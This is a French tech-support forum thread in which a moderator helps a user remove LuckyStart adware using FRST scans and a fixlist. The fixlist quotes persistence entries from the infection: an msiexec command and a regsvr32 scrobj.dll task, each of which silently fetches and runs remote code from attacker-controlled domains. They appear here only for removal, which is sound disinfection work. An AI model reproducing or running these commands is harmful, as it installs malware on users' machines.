Supprimer LuckyStart

Résolu
Bonjour,

J'appelle à l'aide pour supprimer le virus LuckyStart de mon PC. J'ai dû le télécharger en même temps qu'autre chose mais impossible de savoir quoi, je suis vraiment précautionneuse dans mes téléchargements et le début des problèmes ne coïncide avec aucun téléchargement...
Cette cochonnerie me bombarde de publicités et surtout, compromet la sécurité de mon PC. Pour le supprimer, j'ai fais les analyses complètes avec AdwCleaner, Malwarebytes et ZHPCleaner. J'ai également restauré Chrome (navigateur par défaut).
Pourtant, rien à faire, le virus reste là et heureusement, Malwarebytes me bloque pas mal de pubs mais ça reste plus que problématique...

Aidez-moi, s'il vous plaît !

6 réponses

  1. Modérateur
    Salut,

    Réinitialise/Répare les navigateurs WEB concernés par les problèmes :

    puis :

    Suis le tutoriel FRST. ( prends le temps de lire attentivement - tout y est bien expliqué ).

    Télécharge et lance le scan FRST, 3 rapports FRST seront générés :
    • FRST.txt
    • Shortcut.txt
    • Additionnal.txt


    Envoie ces 3 rapports sur le site http://pjjoint.malekal.com/ et en retour donne les 3 liens pjjoint qui mènent aux rapports ici dans une nouvelle réponse afin que l'on puisse les consulter.

    0
    1. Bonsoir, merci beaucoup pour la réponse ! Voici les trois documents :

      FRST : http://pjjoint.malekal.com/files.php?id=FRST_20170419_p7f11g12n11t15

      Shortcut : http://pjjoint.malekal.com/files.php?id=20170419_m7v14m14v15j11

      Additionnal : http://pjjoint.malekal.com/files.php?id=20170419_t6f12g11n8i12

      En tout cas, merci pour l'aide, c'est vraiment sympa.
      0
      1. Modérateur
        Pas de soucis =)

        Désinstalle Spybot, inefficace.

        Voici la correction à effectuer avec FRST. Tu peux t'aider de cette note explicative avec des captures d'écran.

        Ouvre le bloc-notes : Touche Windows + R,
        Dans le champs "Exécuter", saisir notepad et OK.
        Copie/Colle dedans ce qui suit :


        CreateRestorePoint:
        CloseProcesses:
        HKU\S-1-5-21-2539642777-985036994-1806898003-1001\...\Policies\system: [Shell] explorer.exe,msiexec.exe /i http://point.orangeiloveyou.com/?data=zDlkMj8yF8JWNThLNWYxOYRQOTwcNdqyM8U3RTRQMdZYMTZSFq%3D%3D /q [Pays US - 104.24.101.133]
        R2 SSSvc; C:\Program Files (x86)\ScreenShot\SSSvc.exe [139744 2016-11-02] (Filseclab Corporation Limited)
        2017-04-19 13:56 - 2017-04-19 13:56 - 00000007 _____ C:\Windows\SysWOW64\FA17.tmp
        2017-04-19 13:56 - 2017-04-19 13:56 - 00000000 ____D C:\Users\Liloo\AppData\Local\Dohat
        2017-04-19 13:55 - 2017-04-19 13:55 - 00000000 ____D C:\Users\Liloo\AppData\Local\3DM
        2017-04-19 13:55 - 2017-04-19 13:55 - 00000000 ____D C:\Program Files (x86)\Dohat
        2017-04-19 13:50 - 2017-04-19 13:55 - 00000000 ____D C:\Program Files (x86)\BiaoJi
        2017-04-13 14:13 - 2017-04-13 14:13 - 00000000 ___HD C:\
        2017-04-13 14:12 - 2017-04-13 14:13 - 00000000 ____D C:\Users\Liloo\AppData\Roaming\SSMgre
        2017-04-13 13:04 - 2017-04-19 17:52 - 00000000 ____D C:\wifidata
        2017-04-13 13:03 - 2017-04-13 13:03 - 01529384 _____ (IO3O LLC ) C:\Users\Liloo\Downloads\mywifi.exe
        2017-04-19 17:07 - 2017-04-19 17:09 - 57131432 _____ (Malwarebytes ) C:\Users\Liloo\Downloads\mb3-setup-SEMFD.100SEM-3.0.6.1469-1075.exe
        2017-04-19 14:50 - 2017-04-19 14:50 - 00002240 _____ C:\Users\Public\Desktop\Google Chrome.lnk
        2017-04-19 14:49 - 2017-04-19 14:50 - 01129376 _____ (Google Inc.) C:\Users\Liloo\Downloads\ChromeSetup(1).exe
        2017-04-19 14:28 - 2017-04-19 14:28 - 10096216 _____ (Google Inc.) C:\Users\Liloo\Downloads\WidevineMediaOptimizerChrome (2).exe
        2017-04-19 14:20 - 2017-04-19 14:21 - 10096216 _____ (Google Inc.) C:\Users\Liloo\Downloads\WidevineMediaOptimizerChrome (1).exe
        2017-04-19 14:12 - 2017-04-19 14:12 - 10096216 _____ (Google Inc.) C:\Users\Liloo\Downloads\WidevineMediaOptimizerChrome.exe
        2017-04-13 14:13 - 2017-03-18 15:16 - 00000000 ____D C:\Users\Liloo\AppData\Roaming\ScreenShot
        Task: {FE28D81C-FA79-4931-80F3-1A54E4901C80} - System32\Tasks\PowerWord-SCT-JT => Regsvr32.exe /s /i:hxxp://point.lotusiloveyou.com/?data=zDlkMj8yF8JWNThLNWYxOYRQOTwcNdqyM8U3RTRQMdZYMTZSFq== scrobj.dll
        Hosts:
        EmptyTemp:
        RemoveProxy:
        Reboot:


        Une fois, le texte collé dans le Bloc-notes,
        Menu "Fichier" puis "Enregistrer sous",

        A gauche, place toi sur le Bureau,

        Dans le champs en bas, nom du fichier mets : fixlist.txt
        Clique sur "Enregistrer", cela va créer fixlist.txt sur le Bureau.

        Relance FRST et clique sur le bouton "Corriger / Fix"
        Un redémarrage sera peut-être nécessaire ( pas obligatoire )
        Un fichier texte apparait, copie/colle le contenu ici dans un nouveau message.

        Redémarre l'ordinateur.

        2°)
        Réinitialise/Répare les navigateurs WEB concernés par les problèmes :

        3°)
        fais un nettoyage Malwarebytes - Tutoriel Malwarebytes Anti-Malware version gratuite

        Vois s'il y a des améliorations

        Veuillez appuyer sur une touche pour continuer la désinfection...
        0
        1. Merci beaucoup pour l'aide.

          A priori, le virus a été viré ! J'avais également un problème pour regarder les vidéos Netflix, il semblerait qu'un composant Chrome a été supprimé à cause de cette cochonnerie. Et là, tout remarche !
          Est-ce qu'il y a une manière de s'assurer que tout a bien été nettoyé ?

          En tout cas, tu me sauve, merci beaucoup d'avoir pris le temps de m'aider.
          0
          1. Modérateur
            C'est déjà cela =)

            Tu peux refaire un scan FRST et donner les liens via pjjoint.
            0
          2. @Malekal_morte-Mes excuses pour le temps de réponse. Voici à nouveau les trois liens :

            FRST : http://pjjoint.malekal.com/files.php?id=20170425_o1410b6t11o10

            Shortcut : http://pjjoint.malekal.com/files.php?id=20170425_j6k99i10l9

            Additionnal : http://pjjoint.malekal.com/files.php?id=20170425_r14s11w10o7e14

            Encore merci !
            0
          3. Modérateur
            @EliseLe fichier FRST.txt est vide.
            Refais le scan et laisse le aller jusqu'au bout.
            0
          4. @Malekal_morte-FRST : http://pjjoint.malekal.com/files.php?id=FRST_20170426_10g5q8t10d9

            Shortcut : http://pjjoint.malekal.com/files.php?id=20170426_l6g14g12j14s5

            Additionnal : http://pjjoint.malekal.com/files.php?id=20170426_p12o13s14k8g9
            0
        2. Et bien, merci beaucoup pour avoir pris le temps de m'aider, je sais pas ce que j'aurais pu faire, sinon !
          0
          1. Modérateur
            De rien :)
            0